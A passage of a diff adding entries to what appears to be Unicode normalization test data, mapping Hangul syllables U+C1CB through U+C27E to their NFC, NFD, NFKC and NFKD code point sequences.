+{ source: [0xC1CB], NFC: [0xC1CB], NFD: [0x1109, 0x116B, 0x11AE], NFKC: [0xC1CB], NFKD: [0x1109, 0x116B, 0x11AE] },
+{ source: [0xC1CC], NFC: [0xC1CC], NFD: [0x1109, 0x116B, 0x11AF], NFKC: [0xC1CC], NFKD: [0x1109, 0x116B, 0x11AF] },
+{ source: [0xC1CD], NFC: [0xC1CD], NFD: [0x1109, 0x116B, 0x11B0], NFKC: [0xC1CD], NFKD: [0x1109, 0x116B, 0x11B0] },
+{ source: [0xC1CE], NFC: [0xC1CE], NFD: [0x1109, 0x116B, 0x11B1], NFKC: [0xC1CE], NFKD: [0x1109, 0x116B, 0x11B1] },
+{ source: [0xC1CF], NFC: [0xC1CF], NFD: [0x1109, 0x116B, 0x11B2], NFKC: [0xC1CF], NFKD: [0x1109, 0x116B, 0x11B2] },
+{ source: [0xC1D0], NFC: [0xC1D0], NFD: [0x1109, 0x116B, 0x11B3], NFKC: [0xC1D0], NFKD: [0x1109, 0x116B, 0x11B3] },
+{ source: [0xC1D1], NFC: [0xC1D1], NFD: [0x1109, 0x116B, 0x11B4], NFKC: [0xC1D1], NFKD: [0x1109, 0x116B, 0x11B4] },
+{ source: [0xC1D2], NFC: [0xC1D2], NFD: [0x1109, 0x116B, 0x11B5], NFKC: [0xC1D2], NFKD: [0x1109, 0x116B, 0x11B5] },
+{ source: [0xC1D3], NFC: [0xC1D3], NFD: [0x1109, 0x116B, 0x11B6], NFKC: [0xC1D3], NFKD: [0x1109, 0x116B, 0x11B6] },
+{ source: [0xC1D4], NFC: [0xC1D4], NFD: [0x1109, 0x116B, 0x11B7], NFKC: [0xC1D4], NFKD: [0x1109, 0x116B, 0x11B7] },
+{ source: [0xC1D5], NFC: [0xC1D5], NFD: [0x1109, 0x116B, 0x11B8], NFKC: [0xC1D5], NFKD: [0x1109, 0x116B, 0x11B8] },
+{ source: [0xC1D6], NFC: [0xC1D6], NFD: [0x1109, 0x116B, 0x11B9], NFKC: [0xC1D6], NFKD: [0x1109, 0x116B, 0x11B9] },
+{ source: [0xC1D7], NFC: [0xC1D7], NFD: [0x1109, 0x116B, 0x11BA], NFKC: [0xC1D7], NFKD: [0x1109, 0x116B, 0x11BA] },
+{ source: [0xC1D8], NFC: [0xC1D8], NFD: [0x1109, 0x116B, 0x11BB], NFKC: [0xC1D8], NFKD: [0x1109, 0x116B, 0x11BB] },
+{ source: [0xC1D9], NFC: [0xC1D9], NFD: [0x1109, 0x116B, 0x11BC], NFKC: [0xC1D9], NFKD: [0x1109, 0x116B, 0x11BC] },
+{ source: [0xC1DA], NFC: [0xC1DA], NFD: [0x1109, 0x116B, 0x11BD], NFKC: [0xC1DA], NFKD: [0x1109, 0x116B, 0x11BD] },
+{ source: [0xC1DB], NFC: [0xC1DB], NFD: [0x1109, 0x116B, 0x11BE], NFKC: [0xC1DB], NFKD: [0x1109, 0x116B, 0x11BE] },
+{ source: [0xC1DC], NFC: [0xC1DC], NFD: [0x1109, 0x116B, 0x11BF], NFKC: [0xC1DC], NFKD: [0x1109, 0x116B, 0x11BF] },
+{ source: [0xC1DD], NFC: [0xC1DD], NFD: [0x1109, 0x116B, 0x11C0], NFKC: [0xC1DD], NFKD: [0x1109, 0x116B, 0x11C0] },
+{ source: [0xC1DE], NFC: [0xC1DE], NFD: [0x1109, 0x116B, 0x11C1], NFKC: [0xC1DE], NFKD: [0x1109, 0x116B, 0x11C1] },
+{ source: [0xC1DF], NFC: [0xC1DF], NFD: [0x1109, 0x116B, 0x11C2], NFKC: [0xC1DF], NFKD: [0x1109, 0x116B, 0x11C2] },
+{ source: [0xC1E0], NFC: [0xC1E0], NFD: [0x1109, 0x116C], NFKC: [0xC1E0], NFKD: [0x1109, 0x116C] },
+{ source: [0xC1E1], NFC: [0xC1E1], NFD: [0x1109, 0x116C, 0x11A8], NFKC: [0xC1E1], NFKD: [0x1109, 0x116C, 0x11A8] },
+{ source: [0xC1E2], NFC: [0xC1E2], NFD: [0x1109, 0x116C, 0x11A9], NFKC: [0xC1E2], NFKD: [0x1109, 0x116C, 0x11A9] },
+{ source: [0xC1E3], NFC: [0xC1E3], NFD: [0x1109, 0x116C, 0x11AA], NFKC: [0xC1E3], NFKD: [0x1109, 0x116C, 0x11AA] },
+{ source: [0xC1E4], NFC: [0xC1E4], NFD: [0x1109, 0x116C, 0x11AB], NFKC: [0xC1E4], NFKD: [0x1109, 0x116C, 0x11AB] },
+{ source: [0xC1E5], NFC: [0xC1E5], NFD: [0x1109, 0x116C, 0x11AC], NFKC: [0xC1E5], NFKD: [0x1109, 0x116C, 0x11AC] },
+{ source: [0xC1E6], NFC: [0xC1E6], NFD: [0x1109, 0x116C, 0x11AD], NFKC: [0xC1E6], NFKD: [0x1109, 0x116C, 0x11AD] },
+{ source: [0xC1E7], NFC: [0xC1E7], NFD: [0x1109, 0x116C, 0x11AE], NFKC: [0xC1E7], NFKD: [0x1109, 0x116C, 0x11AE] },
+{ source: [0xC1E8], NFC: [0xC1E8], NFD: [0x1109, 0x116C, 0x11AF], NFKC: [0xC1E8], NFKD: [0x1109, 0x116C, 0x11AF] },
+{ source: [0xC1E9], NFC: [0xC1E9], NFD: [0x1109, 0x116C, 0x11B0], NFKC: [0xC1E9], NFKD: [0x1109, 0x116C, 0x11B0] },
+{ source: [0xC1EA], NFC: [0xC1EA], NFD: [0x1109, 0x116C, 0x11B1], NFKC: [0xC1EA], NFKD: [0x1109, 0x116C, 0x11B1] },
+{ source: [0xC1EB], NFC: [0xC1EB], NFD: [0x1109, 0x116C, 0x11B2], NFKC: [0xC1EB], NFKD: [0x1109, 0x116C, 0x11B2] },
+{ source: [0xC1EC], NFC: [0xC1EC], NFD: [0x1109, 0x116C, 0x11B3], NFKC: [0xC1EC], NFKD: [0x1109, 0x116C, 0x11B3] },
+{ source: [0xC1ED], NFC: [0xC1ED], NFD: [0x1109, 0x116C, 0x11B4], NFKC: [0xC1ED], NFKD: [0x1109, 0x116C, 0x11B4] },
+{ source: [0xC1EE], NFC: [0xC1EE], NFD: [0x1109, 0x116C, 0x11B5], NFKC: [0xC1EE], NFKD: [0x1109, 0x116C, 0x11B5] },
+{ source: [0xC1EF], NFC: [0xC1EF], NFD: [0x1109, 0x116C, 0x11B6], NFKC: [0xC1EF], NFKD: [0x1109, 0x116C, 0x11B6] },
+{ source: [0xC1F0], NFC: [0xC1F0], NFD: [0x1109, 0x116C, 0x11B7], NFKC: [0xC1F0], NFKD: [0x1109, 0x116C, 0x11B7] },
+{ source: [0xC1F1], NFC: [0xC1F1], NFD: [0x1109, 0x116C, 0x11B8], NFKC: [0xC1F1], NFKD: [0x1109, 0x116C, 0x11B8] },
+{ source: [0xC1F2], NFC: [0xC1F2], NFD: [0x1109, 0x116C, 0x11B9], NFKC: [0xC1F2], NFKD: [0x1109, 0x116C, 0x11B9] },
+{ source: [0xC1F3], NFC: [0xC1F3], NFD: [0x1109, 0x116C, 0x11BA], NFKC: [0xC1F3], NFKD: [0x1109, 0x116C, 0x11BA] },
+{ source: [0xC1F4], NFC: [0xC1F4], NFD: [0x1109, 0x116C, 0x11BB], NFKC: [0xC1F4], NFKD: [0x1109, 0x116C, 0x11BB] },
+{ source: [0xC1F5], NFC: [0xC1F5], NFD: [0x1109, 0x116C, 0x11BC], NFKC: [0xC1F5], NFKD: [0x1109, 0x116C, 0x11BC] },
+{ source: [0xC1F6], NFC: [0xC1F6], NFD: [0x1109, 0x116C, 0x11BD], NFKC: [0xC1F6], NFKD: [0x1109, 0x116C, 0x11BD] },
+{ source: [0xC1F7], NFC: [0xC1F7], NFD: [0x1109, 0x116C, 0x11BE], NFKC: [0xC1F7], NFKD: [0x1109, 0x116C, 0x11BE] },
+{ source: [0xC1F8], NFC: [0xC1F8], NFD: [0x1109, 0x116C, 0x11BF], NFKC: [0xC1F8], NFKD: [0x1109, 0x116C, 0x11BF] },
+{ source: [0xC1F9], NFC: [0xC1F9], NFD: [0x1109, 0x116C, 0x11C0], NFKC: [0xC1F9], NFKD: [0x1109, 0x116C, 0x11C0] },
+{ source: [0xC1FA], NFC: [0xC1FA], NFD: [0x1109, 0x116C, 0x11C1], NFKC: [0xC1FA], NFKD: [0x1109, 0x116C, 0x11C1] },
+{ source: [0xC1FB], NFC: [0xC1FB], NFD: [0x1109, 0x116C, 0x11C2], NFKC: [0xC1FB], NFKD: [0x1109, 0x116C, 0x11C2] },
+{ source: [0xC1FC], NFC: [0xC1FC], NFD: [0x1109, 0x116D], NFKC: [0xC1FC], NFKD: [0x1109, 0x116D] },
+{ source: [0xC1FD], NFC: [0xC1FD], NFD: [0x1109, 0x116D, 0x11A8], NFKC: [0xC1FD], NFKD: [0x1109, 0x116D, 0x11A8] },
+{ source: [0xC1FE], NFC: [0xC1FE], NFD: [0x1109, 0x116D, 0x11A9], NFKC: [0xC1FE], NFKD: [0x1109, 0x116D, 0x11A9] },
+{ source: [0xC1FF], NFC: [0xC1FF], NFD: [0x1109, 0x116D, 0x11AA], NFKC: [0xC1FF], NFKD: [0x1109, 0x116D, 0x11AA] },
+{ source: [0xC200], NFC: [0xC200], NFD: [0x1109, 0x116D, 0x11AB], NFKC: [0xC200], NFKD: [0x1109, 0x116D, 0x11AB] },
+{ source: [0xC201], NFC: [0xC201], NFD: [0x1109, 0x116D, 0x11AC], NFKC: [0xC201], NFKD: [0x1109, 0x116D, 0x11AC] },
+{ source: [0xC202], NFC: [0xC202], NFD: [0x1109, 0x116D, 0x11AD], NFKC: [0xC202], NFKD: [0x1109, 0x116D, 0x11AD] },
+{ source: [0xC203], NFC: [0xC203], NFD: [0x1109, 0x116D, 0x11AE], NFKC: [0xC203], NFKD: [0x1109, 0x116D, 0x11AE] },
+{ source: [0xC204], NFC: [0xC204], NFD: [0x1109, 0x116D, 0x11AF], NFKC: [0xC204], NFKD: [0x1109, 0x116D, 0x11AF] },
+{ source: [0xC205], NFC: [0xC205], NFD: [0x1109, 0x116D, 0x11B0], NFKC: [0xC205], NFKD: [0x1109, 0x116D, 0x11B0] },
+{ source: [0xC206], NFC: [0xC206], NFD: [0x1109, 0x116D, 0x11B1], NFKC: [0xC206], NFKD: [0x1109, 0x116D, 0x11B1] },
+{ source: [0xC207], NFC: [0xC207], NFD: [0x1109, 0x116D, 0x11B2], NFKC: [0xC207], NFKD: [0x1109, 0x116D, 0x11B2] },
+{ source: [0xC208], NFC: [0xC208], NFD: [0x1109, 0x116D, 0x11B3], NFKC: [0xC208], NFKD: [0x1109, 0x116D, 0x11B3] },
+{ source: [0xC209], NFC: [0xC209], NFD: [0x1109, 0x116D, 0x11B4], NFKC: [0xC209], NFKD: [0x1109, 0x116D, 0x11B4] },
+{ source: [0xC20A], NFC: [0xC20A], NFD: [0x1109, 0x116D, 0x11B5], NFKC: [0xC20A], NFKD: [0x1109, 0x116D, 0x11B5] },
+{ source: [0xC20B], NFC: [0xC20B], NFD: [0x1109, 0x116D, 0x11B6], NFKC: [0xC20B], NFKD: [0x1109, 0x116D, 0x11B6] },
+{ source: [0xC20C], NFC: [0xC20C], NFD: [0x1109, 0x116D, 0x11B7], NFKC: [0xC20C], NFKD: [0x1109, 0x116D, 0x11B7] },
+{ source: [0xC20D], NFC: [0xC20D], NFD: [0x1109, 0x116D, 0x11B8], NFKC: [0xC20D], NFKD: [0x1109, 0x116D, 0x11B8] },
+{ source: [0xC20E], NFC: [0xC20E], NFD: [0x1109, 0x116D, 0x11B9], NFKC: [0xC20E], NFKD: [0x1109, 0x116D, 0x11B9] },
+{ source: [0xC20F], NFC: [0xC20F], NFD: [0x1109, 0x116D, 0x11BA], NFKC: [0xC20F], NFKD: [0x1109, 0x116D, 0x11BA] },
+{ source: [0xC210], NFC: [0xC210], NFD: [0x1109, 0x116D, 0x11BB], NFKC: [0xC210], NFKD: [0x1109, 0x116D, 0x11BB] },
+{ source: [0xC211], NFC: [0xC211], NFD: [0x1109, 0x116D, 0x11BC], NFKC: [0xC211], NFKD: [0x1109, 0x116D, 0x11BC] },
+{ source: [0xC212], NFC: [0xC212], NFD: [0x1109, 0x116D, 0x11BD], NFKC: [0xC212], NFKD: [0x1109, 0x116D, 0x11BD] },
+{ source: [0xC213], NFC: [0xC213], NFD: [0x1109, 0x116D, 0x11BE], NFKC: [0xC213], NFKD: [0x1109, 0x116D, 0x11BE] },
+{ source: [0xC214], NFC: [0xC214], NFD: [0x1109, 0x116D, 0x11BF], NFKC: [0xC214], NFKD: [0x1109, 0x116D, 0x11BF] },
+{ source: [0xC215], NFC: [0xC215], NFD: [0x1109, 0x116D, 0x11C0], NFKC: [0xC215], NFKD: [0x1109, 0x116D, 0x11C0] },
+{ source: [0xC216], NFC: [0xC216], NFD: [0x1109, 0x116D, 0x11C1], NFKC: [0xC216], NFKD: [0x1109, 0x116D, 0x11C1] },
+{ source: [0xC217], NFC: [0xC217], NFD: [0x1109, 0x116D, 0x11C2], NFKC: [0xC217], NFKD: [0x1109, 0x116D, 0x11C2] },
+{ source: [0xC218], NFC: [0xC218], NFD: [0x1109, 0x116E], NFKC: [0xC218], NFKD: [0x1109, 0x116E] },
+{ source: [0xC219], NFC: [0xC219], NFD: [0x1109, 0x116E, 0x11A8], NFKC: [0xC219], NFKD: [0x1109, 0x116E, 0x11A8] },
+{ source: [0xC21A], NFC: [0xC21A], NFD: [0x1109, 0x116E, 0x11A9], NFKC: [0xC21A], NFKD: [0x1109, 0x116E, 0x11A9] },
+{ source: [0xC21B], NFC: [0xC21B], NFD: [0x1109, 0x116E, 0x11AA], NFKC: [0xC21B], NFKD: [0x1109, 0x116E, 0x11AA] },
+{ source: [0xC21C], NFC: [0xC21C], NFD: [0x1109, 0x116E, 0x11AB], NFKC: [0xC21C], NFKD: [0x1109, 0x116E, 0x11AB] },
+{ source: [0xC21D], NFC: [0xC21D], NFD: [0x1109, 0x116E, 0x11AC], NFKC: [0xC21D], NFKD: [0x1109, 0x116E, 0x11AC] },
+{ source: [0xC21E], NFC: [0xC21E], NFD: [0x1109, 0x116E, 0x11AD], NFKC: [0xC21E], NFKD: [0x1109, 0x116E, 0x11AD] },
+{ source: [0xC21F], NFC: [0xC21F], NFD: [0x1109, 0x116E, 0x11AE], NFKC: [0xC21F], NFKD: [0x1109, 0x116E, 0x11AE] },
+{ source: [0xC220], NFC: [0xC220], NFD: [0x1109, 0x116E, 0x11AF], NFKC: [0xC220], NFKD: [0x1109, 0x116E, 0x11AF] },
+{ source: [0xC221], NFC: [0xC221], NFD: [0x1109, 0x116E, 0x11B0], NFKC: [0xC221], NFKD: [0x1109, 0x116E, 0x11B0] },
+{ source: [0xC222], NFC: [0xC222], NFD: [0x1109, 0x116E, 0x11B1], NFKC: [0xC222], NFKD: [0x1109, 0x116E, 0x11B1] },
+{ source: [0xC223], NFC: [0xC223], NFD: [0x1109, 0x116E, 0x11B2], NFKC: [0xC223], NFKD: [0x1109, 0x116E, 0x11B2] },
+{ source: [0xC224], NFC: [0xC224], NFD: [0x1109, 0x116E, 0x11B3], NFKC: [0xC224], NFKD: [0x1109, 0x116E, 0x11B3] },
+{ source: [0xC225], NFC: [0xC225], NFD: [0x1109, 0x116E, 0x11B4], NFKC: [0xC225], NFKD: [0x1109, 0x116E, 0x11B4] },
+{ source: [0xC226], NFC: [0xC226], NFD: [0x1109, 0x116E, 0x11B5], NFKC: [0xC226], NFKD: [0x1109, 0x116E, 0x11B5] },
+{ source: [0xC227], NFC: [0xC227], NFD: [0x1109, 0x116E, 0x11B6], NFKC: [0xC227], NFKD: [0x1109, 0x116E, 0x11B6] },
+{ source: [0xC228], NFC: [0xC228], NFD: [0x1109, 0x116E, 0x11B7], NFKC: [0xC228], NFKD: [0x1109, 0x116E, 0x11B7] },
+{ source: [0xC229], NFC: [0xC229], NFD: [0x1109, 0x116E, 0x11B8], NFKC: [0xC229], NFKD: [0x1109, 0x116E, 0x11B8] },
+{ source: [0xC22A], NFC: [0xC22A], NFD: [0x1109, 0x116E, 0x11B9], NFKC: [0xC22A], NFKD: [0x1109, 0x116E, 0x11B9] },
+{ source: [0xC22B], NFC: [0xC22B], NFD: [0x1109, 0x116E, 0x11BA], NFKC: [0xC22B], NFKD: [0x1109, 0x116E, 0x11BA] },
+{ source: [0xC22C], NFC: [0xC22C], NFD: [0x1109, 0x116E, 0x11BB], NFKC: [0xC22C], NFKD: [0x1109, 0x116E, 0x11BB] },
+{ source: [0xC22D], NFC: [0xC22D], NFD: [0x1109, 0x116E, 0x11BC], NFKC: [0xC22D], NFKD: [0x1109, 0x116E, 0x11BC] },
+{ source: [0xC22E], NFC: [0xC22E], NFD: [0x1109, 0x116E, 0x11BD], NFKC: [0xC22E], NFKD: [0x1109, 0x116E, 0x11BD] },
+{ source: [0xC22F], NFC: [0xC22F], NFD: [0x1109, 0x116E, 0x11BE], NFKC: [0xC22F], NFKD: [0x1109, 0x116E, 0x11BE] },
+{ source: [0xC230], NFC: [0xC230], NFD: [0x1109, 0x116E, 0x11BF], NFKC: [0xC230], NFKD: [0x1109, 0x116E, 0x11BF] },
+{ source: [0xC231], NFC: [0xC231], NFD: [0x1109, 0x116E, 0x11C0], NFKC: [0xC231], NFKD: [0x1109, 0x116E, 0x11C0] },
+{ source: [0xC232], NFC: [0xC232], NFD: [0x1109, 0x116E, 0x11C1], NFKC: [0xC232], NFKD: [0x1109, 0x116E, 0x11C1] },
+{ source: [0xC233], NFC: [0xC233], NFD: [0x1109, 0x116E, 0x11C2], NFKC: [0xC233], NFKD: [0x1109, 0x116E, 0x11C2] },
+{ source: [0xC234], NFC: [0xC234], NFD: [0x1109, 0x116F], NFKC: [0xC234], NFKD: [0x1109, 0x116F] },
+{ source: [0xC235], NFC: [0xC235], NFD: [0x1109, 0x116F, 0x11A8], NFKC: [0xC235], NFKD: [0x1109, 0x116F, 0x11A8] },
+{ source: [0xC236], NFC: [0xC236], NFD: [0x1109, 0x116F, 0x11A9], NFKC: [0xC236], NFKD: [0x1109, 0x116F, 0x11A9] },
+{ source: [0xC237], NFC: [0xC237], NFD: [0x1109, 0x116F, 0x11AA], NFKC: [0xC237], NFKD: [0x1109, 0x116F, 0x11AA] },
+{ source: [0xC238], NFC: [0xC238], NFD: [0x1109, 0x116F, 0x11AB], NFKC: [0xC238], NFKD: [0x1109, 0x116F, 0x11AB] },
+{ source: [0xC239], NFC: [0xC239], NFD: [0x1109, 0x116F, 0x11AC], NFKC: [0xC239], NFKD: [0x1109, 0x116F, 0x11AC] },
+{ source: [0xC23A], NFC: [0xC23A], NFD: [0x1109, 0x116F, 0x11AD], NFKC: [0xC23A], NFKD: [0x1109, 0x116F, 0x11AD] },
+{ source: [0xC23B], NFC: [0xC23B], NFD: [0x1109, 0x116F, 0x11AE], NFKC: [0xC23B], NFKD: [0x1109, 0x116F, 0x11AE] },
+{ source: [0xC23C], NFC: [0xC23C], NFD: [0x1109, 0x116F, 0x11AF], NFKC: [0xC23C], NFKD: [0x1109, 0x116F, 0x11AF] },
+{ source: [0xC23D], NFC: [0xC23D], NFD: [0x1109, 0x116F, 0x11B0], NFKC: [0xC23D], NFKD: [0x1109, 0x116F, 0x11B0] },
+{ source: [0xC23E], NFC: [0xC23E], NFD: [0x1109, 0x116F, 0x11B1], NFKC: [0xC23E], NFKD: [0x1109, 0x116F, 0x11B1] },
+{ source: [0xC23F], NFC: [0xC23F], NFD: [0x1109, 0x116F, 0x11B2], NFKC: [0xC23F], NFKD: [0x1109, 0x116F, 0x11B2] },
+{ source: [0xC240], NFC: [0xC240], NFD: [0x1109, 0x116F, 0x11B3], NFKC: [0xC240], NFKD: [0x1109, 0x116F, 0x11B3] },
+{ source: [0xC241], NFC: [0xC241], NFD: [0x1109, 0x116F, 0x11B4], NFKC: [0xC241], NFKD: [0x1109, 0x116F, 0x11B4] },
+{ source: [0xC242], NFC: [0xC242], NFD: [0x1109, 0x116F, 0x11B5], NFKC: [0xC242], NFKD: [0x1109, 0x116F, 0x11B5] },
+{ source: [0xC243], NFC: [0xC243], NFD: [0x1109, 0x116F, 0x11B6], NFKC: [0xC243], NFKD: [0x1109, 0x116F, 0x11B6] },
+{ source: [0xC244], NFC: [0xC244], NFD: [0x1109, 0x116F, 0x11B7], NFKC: [0xC244], NFKD: [0x1109, 0x116F, 0x11B7] },
+{ source: [0xC245], NFC: [0xC245], NFD: [0x1109, 0x116F, 0x11B8], NFKC: [0xC245], NFKD: [0x1109, 0x116F, 0x11B8] },
+{ source: [0xC246], NFC: [0xC246], NFD: [0x1109, 0x116F, 0x11B9], NFKC: [0xC246], NFKD: [0x1109, 0x116F, 0x11B9] },
+{ source: [0xC247], NFC: [0xC247], NFD: [0x1109, 0x116F, 0x11BA], NFKC: [0xC247], NFKD: [0x1109, 0x116F, 0x11BA] },
+{ source: [0xC248], NFC: [0xC248], NFD: [0x1109, 0x116F, 0x11BB], NFKC: [0xC248], NFKD: [0x1109, 0x116F, 0x11BB] },
+{ source: [0xC249], NFC: [0xC249], NFD: [0x1109, 0x116F, 0x11BC], NFKC: [0xC249], NFKD: [0x1109, 0x116F, 0x11BC] },
+{ source: [0xC24A], NFC: [0xC24A], NFD: [0x1109, 0x116F, 0x11BD], NFKC: [0xC24A], NFKD: [0x1109, 0x116F, 0x11BD] },
+{ source: [0xC24B], NFC: [0xC24B], NFD: [0x1109, 0x116F, 0x11BE], NFKC: [0xC24B], NFKD: [0x1109, 0x116F, 0x11BE] },
+{ source: [0xC24C], NFC: [0xC24C], NFD: [0x1109, 0x116F, 0x11BF], NFKC: [0xC24C], NFKD: [0x1109, 0x116F, 0x11BF] },
+{ source: [0xC24D], NFC: [0xC24D], NFD: [0x1109, 0x116F, 0x11C0], NFKC: [0xC24D], NFKD: [0x1109, 0x116F, 0x11C0] },
+{ source: [0xC24E], NFC: [0xC24E], NFD: [0x1109, 0x116F, 0x11C1], NFKC: [0xC24E], NFKD: [0x1109, 0x116F, 0x11C1] },
+{ source: [0xC24F], NFC: [0xC24F], NFD: [0x1109, 0x116F, 0x11C2], NFKC: [0xC24F], NFKD: [0x1109, 0x116F, 0x11C2] },
+{ source: [0xC250], NFC: [0xC250], NFD: [0x1109, 0x1170], NFKC: [0xC250], NFKD: [0x1109, 0x1170] },
+{ source: [0xC251], NFC: [0xC251], NFD: [0x1109, 0x1170, 0x11A8], NFKC: [0xC251], NFKD: [0x1109, 0x1170, 0x11A8] },
+{ source: [0xC252], NFC: [0xC252], NFD: [0x1109, 0x1170, 0x11A9], NFKC: [0xC252], NFKD: [0x1109, 0x1170, 0x11A9] },
+{ source: [0xC253], NFC: [0xC253], NFD: [0x1109, 0x1170, 0x11AA], NFKC: [0xC253], NFKD: [0x1109, 0x1170, 0x11AA] },
+{ source: [0xC254], NFC: [0xC254], NFD: [0x1109, 0x1170, 0x11AB], NFKC: [0xC254], NFKD: [0x1109, 0x1170, 0x11AB] },
+{ source: [0xC255], NFC: [0xC255], NFD: [0x1109, 0x1170, 0x11AC], NFKC: [0xC255], NFKD: [0x1109, 0x1170, 0x11AC] },
+{ source: [0xC256], NFC: [0xC256], NFD: [0x1109, 0x1170, 0x11AD], NFKC: [0xC256], NFKD: [0x1109, 0x1170, 0x11AD] },
+{ source: [0xC257], NFC: [0xC257], NFD: [0x1109, 0x1170, 0x11AE], NFKC: [0xC257], NFKD: [0x1109, 0x1170, 0x11AE] },
+{ source: [0xC258], NFC: [0xC258], NFD: [0x1109, 0x1170, 0x11AF], NFKC: [0xC258], NFKD: [0x1109, 0x1170, 0x11AF] },
+{ source: [0xC259], NFC: [0xC259], NFD: [0x1109, 0x1170, 0x11B0], NFKC: [0xC259], NFKD: [0x1109, 0x1170, 0x11B0] },
+{ source: [0xC25A], NFC: [0xC25A], NFD: [0x1109, 0x1170, 0x11B1], NFKC: [0xC25A], NFKD: [0x1109, 0x1170, 0x11B1] },
+{ source: [0xC25B], NFC: [0xC25B], NFD: [0x1109, 0x1170, 0x11B2], NFKC: [0xC25B], NFKD: [0x1109, 0x1170, 0x11B2] },
+{ source: [0xC25C], NFC: [0xC25C], NFD: [0x1109, 0x1170, 0x11B3], NFKC: [0xC25C], NFKD: [0x1109, 0x1170, 0x11B3] },
+{ source: [0xC25D], NFC: [0xC25D], NFD: [0x1109, 0x1170, 0x11B4], NFKC: [0xC25D], NFKD: [0x1109, 0x1170, 0x11B4] },
+{ source: [0xC25E], NFC: [0xC25E], NFD: [0x1109, 0x1170, 0x11B5], NFKC: [0xC25E], NFKD: [0x1109, 0x1170, 0x11B5] },
+{ source: [0xC25F], NFC: [0xC25F], NFD: [0x1109, 0x1170, 0x11B6], NFKC: [0xC25F], NFKD: [0x1109, 0x1170, 0x11B6] },
+{ source: [0xC260], NFC: [0xC260], NFD: [0x1109, 0x1170, 0x11B7], NFKC: [0xC260], NFKD: [0x1109, 0x1170, 0x11B7] },
+{ source: [0xC261], NFC: [0xC261], NFD: [0x1109, 0x1170, 0x11B8], NFKC: [0xC261], NFKD: [0x1109, 0x1170, 0x11B8] },
+{ source: [0xC262], NFC: [0xC262], NFD: [0x1109, 0x1170, 0x11B9], NFKC: [0xC262], NFKD: [0x1109, 0x1170, 0x11B9] },
+{ source: [0xC263], NFC: [0xC263], NFD: [0x1109, 0x1170, 0x11BA], NFKC: [0xC263], NFKD: [0x1109, 0x1170, 0x11BA] },
+{ source: [0xC264], NFC: [0xC264], NFD: [0x1109, 0x1170, 0x11BB], NFKC: [0xC264], NFKD: [0x1109, 0x1170, 0x11BB] },
+{ source: [0xC265], NFC: [0xC265], NFD: [0x1109, 0x1170, 0x11BC], NFKC: [0xC265], NFKD: [0x1109, 0x1170, 0x11BC] },
+{ source: [0xC266], NFC: [0xC266], NFD: [0x1109, 0x1170, 0x11BD], NFKC: [0xC266], NFKD: [0x1109, 0x1170, 0x11BD] },
+{ source: [0xC267], NFC: [0xC267], NFD: [0x1109, 0x1170, 0x11BE], NFKC: [0xC267], NFKD: [0x1109, 0x1170, 0x11BE] },
+{ source: [0xC268], NFC: [0xC268], NFD: [0x1109, 0x1170, 0x11BF], NFKC: [0xC268], NFKD: [0x1109, 0x1170, 0x11BF] },
+{ source: [0xC269], NFC: [0xC269], NFD: [0x1109, 0x1170, 0x11C0], NFKC: [0xC269], NFKD: [0x1109, 0x1170, 0x11C0] },
+{ source: [0xC26A], NFC: [0xC26A], NFD: [0x1109, 0x1170, 0x11C1], NFKC: [0xC26A], NFKD: [0x1109, 0x1170, 0x11C1] },
+{ source: [0xC26B], NFC: [0xC26B], NFD: [0x1109, 0x1170, 0x11C2], NFKC: [0xC26B], NFKD: [0x1109, 0x1170, 0x11C2] },
+{ source: [0xC26C], NFC: [0xC26C], NFD: [0x1109, 0x1171], NFKC: [0xC26C], NFKD: [0x1109, 0x1171] },
+{ source: [0xC26D], NFC: [0xC26D], NFD: [0x1109, 0x1171, 0x11A8], NFKC: [0xC26D], NFKD: [0x1109, 0x1171, 0x11A8] },
+{ source: [0xC26E], NFC: [0xC26E], NFD: [0x1109, 0x1171, 0x11A9], NFKC: [0xC26E], NFKD: [0x1109, 0x1171, 0x11A9] },
+{ source: [0xC26F], NFC: [0xC26F], NFD: [0x1109, 0x1171, 0x11AA], NFKC: [0xC26F], NFKD: [0x1109, 0x1171, 0x11AA] },
+{ source: [0xC270], NFC: [0xC270], NFD: [0x1109, 0x1171, 0x11AB], NFKC: [0xC270], NFKD: [0x1109, 0x1171, 0x11AB] },
+{ source: [0xC271], NFC: [0xC271], NFD: [0x1109, 0x1171, 0x11AC], NFKC: [0xC271], NFKD: [0x1109, 0x1171, 0x11AC] },
+{ source: [0xC272], NFC: [0xC272], NFD: [0x1109, 0x1171, 0x11AD], NFKC: [0xC272], NFKD: [0x1109, 0x1171, 0x11AD] },
+{ source: [0xC273], NFC: [0xC273], NFD: [0x1109, 0x1171, 0x11AE], NFKC: [0xC273], NFKD: [0x1109, 0x1171, 0x11AE] },
+{ source: [0xC274], NFC: [0xC274], NFD: [0x1109, 0x1171, 0x11AF], NFKC: [0xC274], NFKD: [0x1109, 0x1171, 0x11AF] },
+{ source: [0xC275], NFC: [0xC275], NFD: [0x1109, 0x1171, 0x11B0], NFKC: [0xC275], NFKD: [0x1109, 0x1171, 0x11B0] },
+{ source: [0xC276], NFC: [0xC276], NFD: [0x1109, 0x1171, 0x11B1], NFKC: [0xC276], NFKD: [0x1109, 0x1171, 0x11B1] },
+{ source: [0xC277], NFC: [0xC277], NFD: [0x1109, 0x1171, 0x11B2], NFKC: [0xC277], NFKD: [0x1109, 0x1171, 0x11B2] },
+{ source: [0xC278], NFC: [0xC278], NFD: [0x1109, 0x1171, 0x11B3], NFKC: [0xC278], NFKD: [0x1109, 0x1171, 0x11B3] },
+{ source: [0xC279], NFC: [0xC279], NFD: [0x1109, 0x1171, 0x11B4], NFKC: [0xC279], NFKD: [0x1109, 0x1171, 0x11B4] },
+{ source: [0xC27A], NFC: [0xC27A], NFD: [0x1109, 0x1171, 0x11B5], NFKC: [0xC27A], NFKD: [0x1109, 0x1171, 0x11B5] },
+{ source: [0xC27B], NFC: [0xC27B], NFD: [0x1109, 0x1171, 0x11B6], NFKC: [0xC27B], NFKD: [0x1109, 0x1171, 0x11B6] },
+{ source: [0xC27C], NFC: [0xC27C], NFD: [0x1109, 0x1171, 0x11B7], NFKC: [0xC27C], NFKD: [0x1109, 0x1171, 0x11B7] },
+{ source: [0xC27D], NFC: [0xC27D], NFD: [0x1109, 0x1171, 0x11B8], NFKC: [0xC27D], NFKD: [0x1109, 0x1171, 0x11B8] },
+{ source: [0xC27E], NFC: [0xC27E], NFD: [0x1109, 0x1171, 0x11B9], NFKC: [0xC27E], NFKD: [0x1109, 0x1171, 0x11B9] },
